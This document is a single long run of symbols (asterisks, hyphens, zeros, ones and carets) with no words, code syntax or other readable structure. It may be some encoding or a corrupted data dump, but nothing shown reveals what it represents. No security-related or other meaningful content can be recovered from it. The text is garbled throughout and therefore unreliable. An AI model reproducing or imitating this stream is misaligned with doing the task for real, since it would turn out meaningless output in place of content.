*******-1*10--001101*01^1*********1***-001*1******0^11******011***001***0011***1^1^1*-----10--1*00-*-001011*00-1*01010^1*******0011**0010-0-*00-----10--10-0-*-001011*0^1101010-00--01********00-^1*001**0110101*001^^1*****01**01101^1*001*01****01**0^110^--*****001**01101^1*001*01****01**0^110^--******10^-1^-*00^1^^1*00110-11*-*001*1*--------01010-*-00^1101*****0010110^1*0101*00^1^^11*1010-11*-*001*1*--------101101*00-001011*01*^1*****01**00-011**1*11*001*1*********0-*0^-0010-01*011**1101*1**-*00101101010^1*01**-*00101**011010-01*011*00--------101^1*0-001011*0^1*0-11*1101*00101****1**00^^1*10^11011******011**0011*^1*0011011******00-**11*-**11011******01011**11*101**--------1011011*0-001011*001011010^11*1*^11*0110-11*011*001*1*1101**101*--------1^-1*-001101*0-11*--------11*001*-001011*0^1101********001011011*00^1*^-001010-11*101*001*1*********1*1*********1**0101*101*01^11*00^11010--00-11*1*011*1**-*0101*00--------01^101*-001011*0^1101********101101**001*010^1*****001**-0101**1*01*001*1*0101*001101*--------00-101*-001011*00101*0-11*01^1*11*******11011**01011********10-01********00-*********010-11*********^1*********-001*********^1*********0-011*********0101*******************10110101********11*-********00-011********0011*0101*10^1**********1*1*0-00-*001^1*001****01**0^110^--0011*001^1*001****01**001**0--0101*001^1*001****01**0-010^--*1*001^1*001*******010101010--001101*01^1*********1***-001*1*******011******01***0^1***-***1^1^1*---------^1*0-*10101*1^1*11*******01011**01011******************00-**********11********************0-*********00101*00101*10-*001*1*-*001^1*01011*01010^--------01010-*-00^1101*****00^--011011**1*010^110-^-11*101*001*1*--------011*1*0-001011**011*********-**10-0010-01*011*-*00--------1010101*0-001011*0^1101******0-11*00-**1*010^1********010-11*00^101*001*1*1101**011010-*00101*001101*00101101010^^101**101**011010-01*011**101****1**0^110--011011**11011******011**0011*101**--------1**1*-001011*0^1*0-11*--------0010-1*-*0-*---------1*1*-001011*011011*********-*********001**0101*101*01^11*00^110101*-0-11*1*011*-00--01*110^-11*^1101*1*001*^101010110-11*001*******0-11010--001010110-11*001*******0-11010--0101**01*00--------00-101*-001011*0^1101*****00^^1^11011**^1^^1*****01**0^1***1*01*001*1*0101*001101*********10-01********010-11*********-001********1*101********0^^1*******************10^11*********-001********01101*********1*101********00101*0101*10^1*01011*001011*101*001^1*001*******010101010--*1*001^1*001****01**0^110^--001101*01^1*********1***-001*1******0-01******01***11****-***1^1^1******0--------01011**-001011*0^11*01010^1*******00110-001010-0-*00--------*101*00-001011*0^11*--------11010-*-00^110^1011*1*^1********11010101*00^-*001*1*--------0-11*00-001011*0^11010^10110-11*1*^10-*0-11*001*001*1*********0-*0^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------00-01*0-001011**011*1101*00101*******110110-11011011011******011**0011*101**---------1011*0-001011*01*^1********-01101*001*11*001*1*1101**101*---------00-*-00^1101******0101011*01**001*010^1*****01**0-10-*00^101*001*1*--------0^^1*-001011*011011*********-*********001**0101*101*01^11*00^1101010-^-11*1*011*1*0011**--------01010101*-001011*0^11*0101*001101*--------1^1101*-001011*0^110101*^1*00^-11*001*001*1*1*^110101010-11*001*001*1*01^1*11*******^11**01011********-01*********1101101********01101101*******************1101^1********101^1********0110^1********001*101*********001*********-011********0^10101*******************011*0101*10^1*********0101^1*0-00-*001^1*001****01**0-010^--0011*001^1*001****01*****0--0101*001^1*001*******010101010--*1*001^1*001****01**001**0--001101*01^1*********1***-001*1******001101******01**00-****001***1^1^1***00--------0^1**-00101*001^1*1*^1*****01**0-0^1*001*001*01*1*01010^-*00--------1^-1*-00-01*--------^101*00-00101*001^1*^1101*******0^101011**01*010^1********0101^1*00^-*001*1*********10101*--00^11010^1*01101101*011**1******001***011011*00^1011*********0010^11*001*011******0011***01101*001*101**0110^-^--0^1*110-11*1*011*1**010^-11*0-11*001*******-1*10--0-1*0-11*001*******-1*10--0-01*011*00--------0^-*0-00101*001^1*11011*1101*00101******00^10101*10^11**01**--------01*001*-00101*001^1*11011*1101*011**--------1^-1*-00^11*--------0^^1*-00101*001^1*0-1**********1*********01**0101*101*01^11*00^110^^1^-11*1*0110101**01*00--------11010101*-00101*001^1*^1101********0010-01*00^1*^-010110-11*011*001*1*0101*001101*----------01*-00101*001^1*01101*01^1*11********11**01011********01010101******************001*001********0010-1*********110101********1101101********001010101********110^1********01*001********001*1*********-*********01101*0101*10101*001*1*********1*001*0-*001*01^1*001*******0-11010--0-*001^1*001*******-1*10--0011*001^1*001****01*****0--001101*01^1*********1***-001*1******010101******01**0-1****-***1^1^1******0--------1***0-001011*00101*0-11*01010^-*00--------1101**0-001011*0^1101********0110-01*00^1*^1*****01***11*1*001*001*01*1*--------0010-1*-*-1*--------10^1*00-001011*0^1101*****00-0-0-0^1*001*010^1********0-0-*001*11*001*1*********00101*^-0010-01*011**11010101**101101010^^101**101**011010-01*011*00--------^^1*0-001011*0^1101******01011*0101011*001*010^1*********10101*00^-*001*1*1101*00101*******101^1*10^11011******011**0011*-**01**--------0101011*0-001011*0^1101******10-1*00-**1*010^1********-10101*001*11*001*1*1101**101*--------01010-*-00^1101********01*0101*00^1*^1^^10-11*101*001*1*--------*0^1*-001011*01101*0-11**********1*********01**0101*101*01^11*00^11010-*10-11*1*011*1*00101*00--------^10101*-001011*00101*0-11*0101*001101*--------1^1101*-001011*0^11010110-00-11*1*^1********001*11*001*01*001*1*01^1*11*******-01**01011********010^1********01*01********001**1********--01********--01******************0011010101********1*01**********011********0-01*********001^1********01*0011********0011*0101*10^1*********0101^1*0-*001*01^1*001*******0-11010--0-*001^1*001*******-1*10--0011*001^1*001*******010101010--0101*001^1*001****01*****0--*1*001^1*001****01**0-010^--001101*01^1*********1***-001*1*******101******01**00-01***011***01^1^1*--------10101**-00101*001^1**11*01010^-*00--------01010-*-*101101*011*1*^1*****01**0-0^1*001*11*001*1*--------0-01*00-00101*001^1*-01**********1*0010-0010-01*011*^1*0--------0-11*00-00101*001^1*01011*1011**011010^1*011**1011*00101101010^^11**0101**011010-01*011*00--------0^101*0-00101*001^1*0-1*1101*00101******00-*01*10^--------*0011*0-00101*001^1*^1101******1101101^1^1*001*010^-011*-11**1*01*1*1101**01*01*******001*1^10101*0--101**0^1*--------1^-1*-*1101*--------01*001*-00101*001^1*^1101******11*-****^1^^-011*-*001*1*********1*1*********1**0101*101*01^11*00^11010-1*0-11*1*011011**01**--------00^101*-00101*001^1*^1101********00-0011*00^1*^1********-0-1*001*11*001*1*0101*001101*--------110-01*-00101*001^1*^11*01^1*11*******01101**01011******************00101^1*********110101********-0-********01101*1********^1011********00-*********01101*1********0-*********010^1*********1010101********^1011*********11*0101*10101*001*1*********101*1*0-*001*01^1*001*******-1*10--0-*001^1*001****01**0^110^--0011*001^1*001*******0-11010--001101*01^1*********1***-001*1******01^1******01***11****11***01^1^1*********-----10---101011*-00101*001^1*01101*01010^1********^1^1010-0-*00-----10--101^-*-00101*001^1*01101*--------00110-*-00^1101011*^-11*1*^-*010-11*^1*01*1*-----10---0-11*-00101*001^1*0101*0-11*********^1*010-^^110^101101011011*^1**01******001**0110-**01*011*0--00-11*1011*010-*-11*0101**011010-01*011*00--------10-**-00101*001^1*^1101********00^1011*00^1*^101*110-11**1*01*1*1101*00101*******011*1*10^--------101011*00-00101*001^1*^110101*^1********10^101*001*001*01*1*1*^1********0-0011*001*001*01*1*1101*00101******001101*1*10^--------1^101*0-00101*001^1*^1101******01*1*1^11*001*010^1*****01****101*00^-*001*1*1101**101*--------*00-*-*0-*--------01^-*-00^1101******01*-10-1**1*010^1*****01**01*^1*00^-*001*1*--------11*001*-00101*001^1*^1101*******101010-01**^1^^1*********-11*001*11*001*1**********101********0010101*********01**101*101*01^11*00^110^^1^-11*1*011011**01**--------10110101*-00101*001^1*01101*0101*001101*---------01101*-00101*001^1*0-1*01^1*11*******10101**01011********1101101********00^-********0-01011*********0^1********0-**********010101*********0^1********-11011********01^-*****************************00^-*********011*********1011*0101*10101*001*1*********^^1*0-00^1*01^1*001****01*****0--*01*01^1*001****01**0-010^--0-*001^1*001*******010101010--0011*001^1*001****01**0^110^--001101*01^1*********1***-001*1******00^1******01**01*101***101***1^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11*10101*101*******1***101*11*00-----110--110^11*-001011*0^1101********010110-*00^1*^1********00-001*00^101*001*1*-----110---11011*-001011*001101*--------1^-1*-*-*0-11*-----110--10110-*-001011*0110110^1011*1*^1********1101^1*00^101*001*1**********01*^-001**00--110-*-*00-----10--1011**00-001011*0^1*0-11*1101*0-01*---------00-*-00^1101*****00--110-01**0^1^^1********-01011*00^^1*01*1*-----10---*1*00-001011*0^1101*****00^11***11*001*010^1********10^-*00^-*001*1*********00101*^-001**00--101101*-*00-----10--1**1*0-001011*01^1*-11*1101*011011*01*101011****01**0011011*00101******01**011*11*001******01**0010-1*001*0011*011*00--------1^-1*-001^1*-11*-----10---*11*0-001011*011011*********-*00^-001**00--101011*-*00-----10---00-*0-001011*0^1101********0-00101*00^1*^10-1*001*001*1*1101**011*0101*01*******0011**1011*-011*--------0010-1*-00^11*-----10--10^^1*-001011*0-1*0-11**********1*0^-001**00---101*-*00-----10---*101*-001011*0-01*1101*0^11*01*10101**01101*011*00--------0010-1*-00-01*-----10--101101101*-001011*0^1101*001^-11*1*^1*****01**011*001*001*11*001*1*********1*1*^-001**00--1*11*-*00-----10--1*01011*-001011**001*-11*1101**-*01*101011****01**01*001*0101*0101*11011010^1**0^110^101**^-01*00101*^11*011*00--------1^-1*-**1*-11*-----10--11*-1*-001011*0^1101*********010-*00^1*^1*****01**01*11**01*001*01*1*********00101*^-001**00---011*-*00--------0-**0-001011*0^1101*****00-0-^1^11*001*010^1*********10-*00^-*001*1*1101*001011*01*101011****011**1*-*0101*-**^^^1010-1*01*00^^11*******************001011*01*0^-01*011*00--------01010-*-00^1101*110^-11*1*^1*****01**0-10101*001*11*001*1*--------110^1*0-001011**011*********-*00^-001**00--1^11*-*00--------1101101*0-001011*00^1*-11*1101*010-*01*101011****01***^1*0010^110-10-11*00-010-11*01011*011*00--------1^-1*-*^1*-11*--------*-1*0-001011*0^1101*********001101*00^1*^1011*10-11*101*001*1*********1*1*^-001**00--^-*-*00--------0^^1*-001011*0^110101010-0-11*1*^--^-11*001*001*1*1101*001101*********1*11********00-*1*****001**001*11********0-*1*****001**00^^1********0^1011*****01**001101******01**011*011*******************00-01********0010^1********0^-1*****01***-001********10-1**********1*********0010^1*****01**0011*1*****001***-101*****01**0-101********00-0011********0--11*****01**0-01011********01101*101*10^1*01011*01011*0-11*^1*01^1*001****01**0^110^--*01*01^1*001*******0-11010--0-*001^1*001*******010101010--0011*001^1*001****01**001**0--0101*001^1*001****01**0-010^--*1*001^1*001****01*****0--001101*01^1*********1***-001*1******01*1******001***0-***-***1^1^1*010101*11*00-----1^-110^101*0-00101*001^1**11*-----1^-110101101*0-00101*001^1*^1101******110-101*001*001*010^-01*0-11*011*001*1*--------^10-*-00^1101*****00-0^10-101**1*010^110110110-11*^1*01*1*-----1^-1^-11*0-00101*001^1*11*^-11*********^1*0^-001**00--^101*-11*^1*0-----1^---*1*-00101*001^1*^1101******0-110-^1**^1^^1********01101101*001*101*01*1*1011*0-01*--------01^-*-00^1101******--0-1***1*010^1********001*01*001*11*001*1*-----1^--00-01*-00101*001^1*^1101******110-*00-**1*010^1*****001***0101**^^1*01*1*********10101*^-001**00--101101*^1*0-----1^--1101011*-00101*001^1*00101*-11*1011**001*-11*01*101011****011**0-01*00101*0011*1011*0-11*-*00--------0^-1*-*0101*-11*-----1^-1^10-1*-00101*001^1*-01*-11*********^1*0^-001**00---11*0-11*^1*0-----1010--11**00-00101*001^1*^1101******^^10101011**1*010^--110-11*011*001*1*1011*0^11*01*101011****011**10-001*10^1101**-1*^^10101*1*001*0101*01101*0-1*01101*-*00--------^10-*-00^110101*^1101*10-11*1101*01*1*1*^1^1*0-11*1101*01*1*-----1010--10-*00-00101*001^1*0011*0-11*********^1*0^-001**00--1*11*^1*0-----1010--01^1*0-00101*001^1*^1101011010110-11*1*^1**10-11*0011*01*1*1011*00^1*-11*0101*0011****011**010-01*101******11***^11*001******11**10101101*00^-*00--------0^-1*-*1011*-11*-----1010--110-*0-00101*001^1*^1101*****00101010-*101**1*010^-^^-11*011*001*1*********0^1*^-001**00--11*1*-11*^1*0-----1010--^^1*-00101*001^1*^1101******1*00^110101*00^1^^1*****01**0^10101*001*101*01*1*1011*01011*0-11*01*101011****011**0011*1*101*^11*1*110101^-010^1*001*******************0-*001*01*0011*0101*0-11*-*00--------0^-1*-0010^^-11*-----1010-11010^11*-00101*001^1*^1101*****0011011010^-**01*010^1*****01***00-**^^1*01*1*********10101*^-001**00--^11*0-11*^1*0-----1010--0010-*-00101*001^1*10-*-11*1011*00-1*01*101011****01**0011011*00101******01**1011011**1******01**-1101**^11011*-*00--------01010-*-0011011010^11*1*^1*****01**00^1101*001*001*01*1*------0--0101**-00101*001^1*^1101010^^-11*1*^10110-0-11*1101*01*1*********-1*0^-001**00--110-*^1*0------0--01101*00-00101*001^1*^11010-00^-11*1*^1********00^101*00^1101*01*1*1011*01*1*-11*01*101011****001***1^1*10^10-*01*11011**10-001^101**01*0101*0-*0-11*-*00--------0^-1*-*-0^-11*------0--001101*0-00101*001^1*^110101*^1*****01**00-0101*00^-*001*1*1*^1********11*011*00^-*001*1**********11*^-001**00--1*01*-11*^1*0------0--10-1*0-00101*001^1*^1*0-11*1011*00101*0-11*01*101011****01***^1*00101******01**011*01*001******01**1*0101*00^10-*-*00--------0^-1*-00^1*0-11*------0-11*00101*-00101*001^1**01^-11*********^1*0^-001**00--1^1*0-11*^1*0------0--^1101*-00101*001^1*^1101******010-0^^1**^1^^1********10110-*001*101*01*1*1011*00-*0-11*01*101011****011**0-01*0010^-01*1101*0-11*-*00--------01^-*-00^1101*****0010^^1****1*010^1********10--*00^^1*01*1*------0-11*10-*-00101*001^1*^10^-11*********^1*0^-001**00--11011*0-11*^1*0------0--10-11*-00101*001^1*^11*1011*01^1*-11*--------01^-*-00^1101*****001101*01011***^1^^1*****01**0-0^1*001*101*01*1*-----^--^11**-00101*001^1*0^1^-11*********^1*0^-*01*******0011*00--0--------^10-*-00^1101*********010-*00^1*^1*01^-11*-*001*1*-----^--00-1*00-00101*001^1*1*1^-11*********^1*0^-001**00--10^1*-11*^1*0-----^---^1*0-00101*001^1*^1101*****0011011**1*1*001*010^1^11*-11*011*001*1*1011*0-1*0-11*01*101011****01**01*001*0101*0101*11011010^1**0^-0-01**1*0011*00101*0011*0-11*-*00--------00110-*-001*^1*****01**01101*1*001*001*01*1*-----^--01*001*-00101*001^1*^1101******01^1**01**^1^^1********1*1011*001*101*01*1*********10101*^-001**00--10-*0-11*^1*0-----^--1*0101*-00101*001^1**00^-11*1011*011011*01*101011****011**0011*1*101*^11*1*110101^1^110101*001*******************01101*01*0^-01**11*-*00--------0^-1*-**0^-11*-----^--010^11*-00101*001^1*10-**********1*0^-001**00--101011*^1*0-----^--11011011*-00101*001^1*^1101******0^^^-11*001*010^1********10--*00^^1*01*1*1011*010-*01*101011*******00101011*10^^-*011**^1010^-**^^11*********10--*001*1011*-*00--------0^-1*-*0110^-11*-----110--0011**0-00101*001^1*^1101*****001^1011011*1**1*010^1010-10-11*011*001*1*********0^1*^-001**00--^-*^1*0-----110---001*00-00101*001^1*1*1*-11*1011**11*0-11*01*101011****011**0-01*00101*1101*^1*0-11*-*00--------01^-*-00^1101******0110110110^11*001*010^1********110-01*00^^1*01*1*-----110--*0101*0-00101*001^1*01101*-11*********^1*0^-001**00---01*0-11*^1*0-----110--11*11*0-00101*001^1*0-1*-11*1011**101*-11*-----110---1011*0-00101*001^1*^11010110-10-11*1*^1*****01***1101**0^-*001*1*0101*0110101******010^1*0101******11**0101*1*001******11**0110-1*001*11****001***1^1*10^11011*01*11011**10-00-0101**01*0101*001*******1101*00--0011****001***1^1*101*1011*01*11011**10-00-0-**01*0101*011*00--------0^-1*-*-1*-11*-----110--01101101*-00101*001^1*^1101******1010--*11*001*010^10--0-11*011*001*1*********0^1*^-001**00---001*-11*^1*0-----110--0^1011*-00101*001^1*1101*0-11*1011**011*1101*01*******0011**1011*-11*0-11*--------0^-1*-001101*0-11*-----110--00110-*-00101*001^1*11011*-11*********^1*0^-001**00---101*^1*0-----110--0--1*-00101*001^1*-1*0-11*1011**-*-----10--1^1**0-00101*001^1*-11*-11*01*10-0101******010101*00101******1**0011*11*001******1**01101*1*001*11*******00101011*10^^-*011**^10-11***1*-1*00101^-11*01**0^1*0011*0011*******01101**101******1**001^101*001******1**0^10101*00^^11*-*00--------01^-*-00^1101******00-***1*001*010^1*****001**01*01**^^1*01*1*-----10--10110101*0-00101*001^1*^1101*110^-11*1*^1*****01**00^1101*001*001*01*1*********0^1*^-001**00---011*^1*0-----10--11*-*0-00101*001^1*^110^-1*-11*1*^1********011*01*001*001*01*1*1011*0^1*0-11*01*101011****01**01*001*0101*0101*11011010^1**0^-110101**1*1011*00101*00-*-*00--------1^-1*-*1011*-----10--^-001*-00101*001^1*10110^-11*********^1*0^-001**00--10-1*^1*0-----10--10-0101*-00101*001^1*-00^-11*1011*001011*01*10101**-01*-*00--------0^-1*-00-00^-11*-----10--^1*11*-00101*001^1*0101101*011*1*^1*****01**01*-**^-*001*1*********1*1*^-001**00--1^11*^1*0-----10--10-1011*-00101*001^1*01101*1011*01101*0-11*01*101011****011**1*-*0101*-**^^^1010^10^1*001*1101*******************00101*001*01*-1*-*00--------1^-1*-*1101*--------011**00-00101*001^1*^1101*****00-10^1*1**001*010^110110^-11*011*001*1*********0^1*^-001**00--10101*0-11*^1*0--------01*1*00-00101*001^1*1*0^-11*1011*001101******011**-001******11**1*******0011**0010^1********-0^1******1************0-0^1*****001**0^101********001010-*****001**0-1011*****011***1101*****001***00-1********--1******01*0010-101******1**101^1*****011**010-1*****00101*001*0011*****01**00--*****00101*001^1011*****001**0011*1*****01***^1******1**0010^11******1**01*1*********00-*****001***0^1******01***0-*****0101**1^1****************00101***001*****001***00-1******1**101011*****00101**110101*****00101**-^1********101101******01**011*******1**00-1101*****01**0-101******101*0011011011*****011**11011011*****0101**1*******01**01101101******01*00-001******11**0^1101*****001***-01*****001**0101011*****001**0-101******01***101*********0-101*****011**0^11********001101******00101*00-*01********-^1********01^1^101*10101*001*1*101*001^1**11*-11*0011*01^1*001****01*****0--01101*01^1*001****01**0-010^--00101*01^1*001****01**0^110^--0^1*01^1*001*******010101010--*01*01^1*001*******0-11010--0-*001^1*001****01**001**0--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1*******001******0011**0110-**00-***1^1^1****10101*101******0011***101*11*******011**0010^^11*-*0010110101**11*101**01********00-11011*001*11*00-----1010-11**1*0-00101*001^1*-01*-----1010-11*^1*0-00101*001^1*0-*0-11*--------1^-1*-*1101*-----1010--110101*0-00101*001^1*^1101********0-10101*00^1*^101101010-11*1101*01*1*********0^1*^-001**00--10^1*-11*^1*0-----1010--^-*0-00101*001^1*^110^1010110-11*1*^1********1*1101*001*001*01*1*1011*0-01*--------0^-1*-*0^^-11*-----1010-110-*1*-00101*001^1*^1101******01011*110^1*00^1^^--^-11*0011*01*1*********0^1*^-001**00--101101*^1*0-----1010--0010101*-00101*001^1*10110^-11*1011**-*01*101011****01**0011011*00101******1**00110101**1******1***^11**^^11*-*00--------01^-*-00^1101********011010101*00^1*^1*****01***-101*00^^1*01*1*-----1010--0011011*-00101*001^1*^1101010-*-11*1*^1*****01**0101101**0^-*001*1*********0^1*^-001**00---011*^1*0-----1010-1^10-1*-00101*001^1*00110^-11*1011**001*-11*0101*0011****011**010-01*101******1**00101101**1******1**0-001**0^-*00--------01^-*-00^1101*****00-*1^10101**1*010^1*********00101*001*11*001*1*------0-1^^1*00-00101*001^1*^1101010101*-11*1*^11*1^-11*^1*01*1*********-1*0^-001**00---11*0-11*^1*0------0--0-1*00-00101*001^1*1*^^-*1101*01*1*1011*001011*------0-11010^1*0-00101*001^1*^11*-11*01*10-0101******010101*00101******1***00-1*001******1**010-101*001*11*******00101011*10^^-*011**^10-***001*1011*1*0^-11*01**0^1*0011*0011*******01101**101******11**0--**1******11**1*-**^-01*-*00--------0^-1*-0011011*-11*------0--101*1*-00101*001^1*1*^1********0-0011*001*001*01*1*********-1*0^-001**00--1^11*^1*0------0--1*101*-00101*001^1*0-1*-11*1011**11*0-11*01*101011****011**0-01*0010^-01*^1*0-11*-*00--------0^-1*-*-1*-11*------0-11**11*-00101*001^1*01101*-11*********^1*0^-001**00---01*0-11*^1*0------0--^1011*-00101*001^1*-00^-11*1011*00101*0-11*01*101011****011**0-01*00101*1101*10-*-*00--------0^-1*-00-00^-11*------0---0-*-00101*001^1*^10^-11*********^1*0^-001**00--1^1*0-11*^1*0-----^--01***-00101*001^1*^1101******-*001*001*00^1^^1*****01**00^^1*001*011*01*1*1011*01*1*-11*--------0^-1*-*-*0-11*-----^--1*01*00-00101*001^1*-1*0-11*********^1*0^-*01*******0011*00--0--------01^-*-00^1101********001*011*00^1*^1*****01**0-01101*00^^1*01*1*-----^---*1*0-00101*001^1**01*-11*********^1*0^-001**00--1*01*-11*^1*0-----^--0101101*0-00101*001^1*01*^-11*1011*010-*01*101011*******00101011*10^^-*011**^10-1101**01*0011*0-*0-11*01011*-*00--------00110-*-001*^1********0-^1*00^1101*01*1*-----^--01*001*-00101*001^1**11*-11*********^1*0^-001**00--^-*^1*0-----^--0010^1*-00101*001^1*-11*-11*1011*0-1*0-11*01*101011****011**1*-*0101*-**^^^1010-110-*001*1101*******************001101*01*01*011*0-11*-*00--------01010-*-00^1101*****0010^1011010-1*001*010^10-1*011*001*1*-----^---*11*-00101*001^1*^1101*******110101011**001*010^1*****01***0-**01*101*01*1*********10101*^-001**00--10-*0-11*^1*0-----^--01^-*-00101*001^1*^1101*10^1********11*011*001*101*01*1*0010^1*****01**0^1101**1*101*01*1*1011*0^11*01*101011****011**10-001*10^1101**-1*^^11**1*001*0101**11*0-1*01101*-*00--------0^-1*-*1010^-11*-----110---01**-00101*001^1*00-*-11*********^1*0^-001**00--1*11*^1*0-----110--^101*00-00101*001^1*1*1*-11*1011*00-*0-11*01*101011****011**0-01*00101*0011*1101*0-11*-*00--------01010-*-001101101*011*1*^1********0-^1*00^1101*01*1*-----110--0-001*0-00101*001^1*0-1**********1*0^-001**00--11011*0-11*^1*0-----110--*0011*0-00101*001^1*10101*-11*1011*01011*0-11*01*101011****011**0011*1*101*^11*1*110101^11*01101*001*******************00101*01*0^-01*0101*0-11*-*00--------10110-*-00110110^-1*1*^-010^-11*^1*01*1*-----110--*0^1*-00101*001^1*^1*0-11*********^1*0^-001**00--^11*0-11*^1*0-----110--11*101*-00101*001^1*0101*0-11*1011*00^1*-11*-----110---10101*-00101*001^1*00101*-11*0101*0110101******010^1*0101*01^10-11**01^-11*011****011**1*-*0101*-**^^^1010-010-*001*1011********************001*01*01*01*******1101*00--0011****001***1^1*101*0011*01*11011**10-00110-1**01*0101*011*00--------0^-1*-*101*0-11*-----110---10-*-00101*001^1*1011*0-11*********^1*0^-001**00--11*1*-11*^1*0-----10--101***-00101*001^1*1*^11*0110-11*-*001*1*1011*01101*0-11*01*101011****011**10-001*10^1101**-1*^^1010-01*001*0101*11011*0^1*-11*0-1*-*00--------^10-*-00^1101******11*101011***1*010^-001^-11*0101*01*1*-----10--10^11*00-00101*001^1*^110101*^101101010-11*^1*01*1*1*^10^1010-11*^1*01*1*********0^1*^-001**00--10101*0-11*^1*0-----10--10-001*0-00101*001^1*10^^-11*1011*011011*01*101011****001***1^1*10^11011*01*11011**10-001*1***1*0101**11*-*00--------0^-1*-0010^^-11*-----10---11011*0-00101*001^1*^1101********001*011*00^1*^^11*0-11**1*01*1*********0^1*^-001**00--101011*^1*0-----10--10101*1*-00101*001^1*1101*0-11*1011*00-1*01*101011****01***^1*00101******01**0-1**001******01**^-**0^11011*-*00--------0^-1*-001101*0-11*-----10--10-0101*-00101*001^1*0011*0-11*********^1*0^-001**00--110-*^1*0-----10--1**11*-00101*001^1*01^^-11*1011*0^1*0-11*01*101011****01**01*001*0101*0101*11011010^1**0^-*011**^11011*00101*00-*-*00--------0^-1*-*1^^-11*-----10---*-*-00101*001^1*00-**********1*0^-001**00--10-1*^1*0-----10--^10-1*-00101*001^1*1*0^-11*1011**011*1101*01*******0011**1011*11011*0-11*--------0^-1*-001*0^-11*--------0-**0-00101*001^1*^1101*110110-11*1*^1********01101011*00^-*001*1*********0^1*^-001**00---101*^1*0--------^101*00-00101*001^1*^1101*10^1010-00-11*011*001*1*0010^1010-00-11*011*001*1*1011*001101*******1**0110-******1**010^1******1*00^^1******01**01101******01**-0101*****0011**1010101*****0011**^-01*****011**0101011********010-11********0-10-******1**10^11******1*0010-1******01**11*-********^^1*****0011**110-******01**^10101*****011**0101^1*****01**011011******001**101101******001********************011**1^-1*****001***^11*****001**00101******011**001*01*****01**010-011*****01**00-*1********10101011********011011******01**00101******011**^1******0011**11*1******001*0010--*****01**01010101********00110^1********1^1101*****01**00101^1*****01**0^-01*****01**00--1******1**1101101********1*011********010-11******01*00-0-*****001**0110-******01**101*01********00101*******1*001010-1********-10^101*10101*001*1*101*001^1*01011*-11*0011*01^1*001****01**0^110^--01101*01^1*001****01*****0--00101*01^1*001*******010101010--0^1*01^1*001*******0-11010--*01*01^1*001****01**0-010^--0-*001^1*001****01**001**0--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1******0-1*******11*001^1***00-***1^1^1********************-******0011**110-01********1*0101*****011**01011*********01*********************-******0011**001*******1***001******01***10-1********01********101^1*001***010101*1^1*1^1*1101*0101****01**01011*-10110-**0-0110101******001^^-11011011011******0^1*001101*0--1011**^1*********0-*010-0---------0010-*-00^1101*1^10-11*1*^1*****01**001011**001*^1*1*1*---------0-*0-001*1*1^1*11011**********1*0010-*101****01**1*01*00101*11**^1*011****011**110^1*0101*11*******00101011*10^^-*011**^1010-11**0^11011*^11*-11*011*******0^1**10^110101******0-*1*101******1**0^10101*001******1**0-00101*001*01****01**00^1010110-1*1*001*1*011*******011**0010^11011*-*0010110101**110101101**1********00110^11*001*01****01**010101010110-1*1*001*1*001*001^1*0101****01***001*00101*11**^1*********101^1*0-*******************00110-********00110-********00^101********00-*********00110-********0101*********00-*00101*101*1*1*1*1*1*1^1*00-*011*001^1*0101****01**^11*-10110-**0-0110101******001^^-11011011011******01101*001101*0--1101**^1*********0-*010-0---------^-1*-*0011*-----10--10--1*-*-*01^1*^110101*^1**10-11*1101*01*1*1*^10-1010-11*1101*01*1*********0^1*010-*101****01**-001*0010^101**^1*0101****01***11*-10110^1**1****01***10101010-1^11****011**10-001*10^1101**-1*^^101010101*001*0101*00-*-11*-11*^1**1****01**00^101010-110110101******0-*1*101******01**11*101*001******01**10110101*001*11*******011**0010^11011*-*0010110101**-0-01**1*110-0-11*011****001**11*10-11011*01*0^1**1****01**01010101010-110110101*******-01*101******11**1*0-*001******11**^1*1*001*11****001**-0010-11011*01*0011*******10101**101******01**11010101*001******01**^1^1*00^^1**1****01**01^101010-1^11****011**10-001*10^1101**-1*^^-*101*001*0101*-01*00101*-11*^1*01011*0011****011**010^101^-0-*00--------^10-*-00^1101******1010-^10-*001*010^10--0-11*-1*01*1*--------1^1101*-*-*01^1*01011**********1*00-11*1101*0101****01***10^-101^11****001**10^10-11011*01**11*00101****01**01^1*0010^101**^1**********-01*-********001*0-********011011*******************0011011*********11011********00101*********0010-101********10-101*********1*0101*^-*01*1*0-*01^1*11011*-----10--1^-*00-00^1*01^1**11**********1**0-00--------0^-1*-001101*0-11*-----10--1101^1*0-00^1*01^1*00-**********1*0^-001**00--^-*-*001*1*-----10----01*0-00^1*01^1*1*^-1*10-11*0011*01*1*-*001^1*-01*---------10-*-001*^-1*10-11*0011*01*1*-----10--1*-1*0-00^1*01^1*0011*0-11*********^1*0^-001**00--101101*-*001*1*-----10---01*1*-00^1*01^1*1*1*-11*-*001^1*^11*--------1^-1*-*-1*-----10--110-001*-00^1*01^1*-1*0-11*********^1*010-1*1101*0101****01**11*^-101^11*00--------0^-1*-001*1*-11*-----10--1^-01*-00^1*01^1**01*-11*********^1*0^-001**00--1*11*-*001*1*-----10--^1^11*-00^1*01^1*^1101******-1*010^1**1*010^1*****01**0-*01*001*101*01*1*-*001^1*01011*01010^--------1^-1*-*1101*-----10---010-*-00^1*01^1*-01**********1*0^-001**00--1^11*-*001*1*-----10--110--*-00^1*01^1*01011*-*001^1**11*0101*0011****001**0-^1*10^---------10-*-001*^-110110-11*1101*01*1*--------*11**-00^1*01^1*0101*0-11*********^1*0^-001**00---101*-*001*1*--------110101*00-00^1*01^1*^1101******11*001011011**1*010^1*11*-11*0101*01*1*-*001^1*11011*1101*00101****01**-01*1^-0--------0^-1*-001011*0-11*--------101^1*0-00^1*01^1*0-1**********1*0^-001**00--101011*-*001*1*---------1101*0-00^1*01^1*0-*0-11*-*001^1*00-*101*001^1*0101****01**01*^-101^11*00--------0^-1*-*-*0-11*--------010-1*0-00^1*01^1*00101*-11*********^1*0^-001**00---011*-*001*1*--------1011*1*-00^1*01^1*^1101******101101101010-*001*010^1*****01***0^11*001*101*01*1*-*001^1*01101*********0^11********001*0011********010-1*****001**001011*********1^-1*****01**00-*********0011*1********0010-1*****001**0-011******1***^11********0-0^1*****01**0011*1********0-1101****************01**0-1101*****001**0-011*********0010101*****01**001011**********11***********11********^11011********10101*101*10^1*01*1*^1*01^1*10-*0011*01^1*001****01**0-010^--01101*01^1*001****01*****0--00101*01^1*001*******010101010--0-1*01^1*001*******-1*10--00^1*1^1*001****01**001**0--001101*01^1*********1***-001*1******00-******0011**1^1011**00-***1^11011************-*011*****--001**01*001***1*************-*001**